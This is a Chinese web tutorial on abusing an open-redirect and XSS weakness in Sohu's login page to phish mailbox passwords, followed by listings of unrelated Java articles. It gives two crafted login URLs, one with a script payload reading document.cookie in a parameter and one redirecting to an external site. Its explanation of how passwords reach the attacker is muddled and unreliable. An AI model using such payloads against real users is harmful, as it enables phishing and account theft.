利用sohu网站URL跳转漏洞欺骗邮箱密码

作为网站的作者,我首先要声明的是,本人强烈反对任何形式的网络攻击行为,严禁利用所得到的知识进行非法活动。以下是相关知识的介绍,仅作学习和研究使用。

  1. 什么是URL跳转漏洞

URL跳转漏洞(也称为Open Redirect漏洞),指的是攻击者可以通过在URL中注入恶意的链接,将用户重定向到一个不安全的网站。当用户点击这个链接并进行访问后,攻击者就可以获得用户的敏感信息。

  1. Sohu网站URL跳转漏洞的利用

Sohu网站是中国著名的门户网站之一。在SoHu的登录界面中,用户的登录信息是通过POST方式进行提交的,表单的action属性中存在一个可以被利用的页面redirect.jsp。攻击者可以通过构造特定的URL及参数,欺骗用户登录系统并获取用户的密码。

攻击者的构造方式可以参考以下两个示例:

示例1:

http://login.sohu.com/login/callback/jump.jsp?
appid=153003&
scp=ppc&
ereturn=http%3A%2F%2Fmail.sohu.com&
fl=1&
s=834b6956de91f4364be30f7fda8f611f&
hps=1&
v=5&
errtype=1&
userid=%3Cscript%3Ealert(document.cookie)%3C/script%3E&
passwd=123456&
autologin=0&
pwdtype=0&
vr=1&
vr_lable=&
mids=&
gp=1396374433174&
ru=http%3A%2F%2Flogin.sohu.com%2Fs%3Fappid%3D11635006%26pag%3D37%26v%3D26%26ct%3D1396374433174%26rurl%3Dhttp%3A%2F%2Fmail.sohu.com%2F%253Fspm%253D0.0.1.14.wywZzl%255Fnav.105.1396374494948myTDKkHA.1%26auth%3D7dc7371ba283fa61dede68d1b6e9b3f5%26user%3D%26ts%3D%26sig%3D1bc8f87000009cda%26hpg%3D1%26fl%3D1%26pg%3D37

在URL的userid参数中,注入的是一个script标签,当用户点击链接后,就会弹出包含用户cookie信息的弹窗。通过抓包工具可以发现,用户的密码已经以明文形式提交给了攻击者。

示例2:

http://login.sohu.com/login/callback/jump.jsp?appid=153003&scp=ppc&ereturn=http%3A%2F%2Fmail.sohu.com&fl=1&s=334ccd3140976cbe8227871aeff1b4b1&hps=1&v=5&errtype=1&userid=&passwd=&autologin=0&pwdtype=0&vr=1&vr_lable=&mids=&gp=1396373948183&ru=http%3A%2F%2Flogin.sohu.com%2Fs%3Fappid%3D11635006%26pag%3D37%26v%3D26%26ct%3D1396373948189%26rurl%3D&redir=http://www.baidu.com

在URL的redir参数中,注入的是一个指向百度首页的链接。此时,当用户点击链接后,就会跳转到百度首页。攻击者可以利用这个漏洞,将用户的敏感信息提交到自己的服务器上,进一步进行恶意操作。

作为网站的作者,我建议大家一定要保护好自己的账号密码,并不要轻易点击邮件中的链接,特别是来自不明来源的链接。另外,我也建议网站的运营人员、程序员等相关人员一定要对网站进行严格的漏洞检查和修复,保障用户的安全。

本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:利用sohu网站URL跳转漏洞欺骗邮箱密码 - Python技术站

(0)
上一篇 2023年6月15日
下一篇 2023年6月15日

相关文章

  • Java Http接口加签、验签操作方法

    关于Java Http接口加签、验签操作方法的完整攻略,可以分为以下几个部分: 什么是接口加签、验签? 在网络通信中,为了防止数据伪造、篡改等安全问题,需要使用加密、签名等方式来保护数据安全。接口加签、验签是其中的一种方式。简单来说,就是在数据通信的过程中,在数据中加入签名信息,用于识别数据的真实性。接口加签指的是计算签名,并将签名在请求头或请求参数中传输。…

    Java 2023年5月26日
    00
  • java 字符串池的深入理解

    Java字符串池的深入理解 Java中的字符串池是Java语言的一个重要特性,它允许字符串对象在池中共享,从而减少内存的使用。在本文中,我们将深入理解Java字符串池的概念、原理和使用。 字符串池的概念 字符串池是一种特殊的内存区域,存储着Java中的字符串常量。在Java中,如果两个字符串常量的值相同,它们将指向同一个地址,从而实现了字符串的共享,避免了许…

    Java 2023年5月26日
    00
  • day01-项目介绍&功能实现

    项目介绍&功能实现 1.项目介绍&环境搭建 一个以社交平台为核心的轻电商项目,功能如下: 短信登录、商户查询缓存、优惠券秒杀、达人探店、好友关注、附近的商户、用户签到、UV统计 1.1项目架构 1.2项目环境搭建 1.2.1后端项目搭建 mysql的版本采用5.7及以上版本 (1)首先创建数据库,需要创建的表有: tb_user:用户表 tb…

    Java 2023年4月19日
    00
  • Java程序执行Cmd指令所遇问题记录及解决方案

    Java程序执行Cmd指令所遇问题记录及解决方案 在Java程序中执行Cmd指令时,可能会遇到一些问题,本文将对这些问题进行详细的记录和解决方案的说明。 问题1:Cmd指令执行结果输出不完整 在Java程序中执行Cmd指令时,有时候会发现输出结果不完整,只输出了部分内容。这是由于Cmd指令的输出是通过缓冲区实现的,当输出的内容超过缓冲区的大小时,就会出现输出…

    Java 2023年5月27日
    00
  • 详解Java中日期工具类的操作

    详解Java中日期工具类的操作 Java 提供了 java.util.Date 和 java.util.Calendar 两个类来操作日期,但是由于它们的设计缺陷,使用起来不够方便,因此出现了许多常用且好用的日期工具类,如:Joda-Time、Time4j、Date4j、Apache Commons Lang 等。本文将以 Apache Commons La…

    Java 2023年5月20日
    00
  • SpringBoot项目中的多数据源支持的方法

    为在Spring Boot项目中实现多数据源支持,有几种方法可供选择。以下是几种最常用的方法。 方法一:使用Spring Boot提供的自动配置 Spring Boot自动配置对于多个数据源配置非常方便。可以使用@ConfigurationProperties注释来定义不同的数据源。以下是实现多个数据源的示例: # application.yml sprin…

    Java 2023年5月20日
    00
  • springboot整合spring-data-redis遇到的坑

    下面是Spring Boot整合Spring Data Redis的详细攻略,包括常见的坑和解决方法。 准备工作 首先,确保电脑中安装有Redis服务,并启动了Redis服务。然后在Spring Boot项目中添加以下依赖: <dependencies> <dependency> <groupId>org.springfr…

    Java 2023年5月20日
    00
  • jsp中变量及方法的声明与使用

    一、JSP中变量声明与使用 在JSP中,我们可以使用JSP表达式和JSP脚本来声明和使用变量。其中,JSP表达式使用${ },而JSP脚本则使用<% %>。 JSP表达式 JSP表达式可以用来在页面中输出一个变量的值,或者把表达式的结果赋值给一个变量。使用JSP表达式声明的变量只在当前页面中有效。 示例1: <% String name =…

    Java 2023年6月15日
    00
合作推广
合作推广
分享本页
返回顶部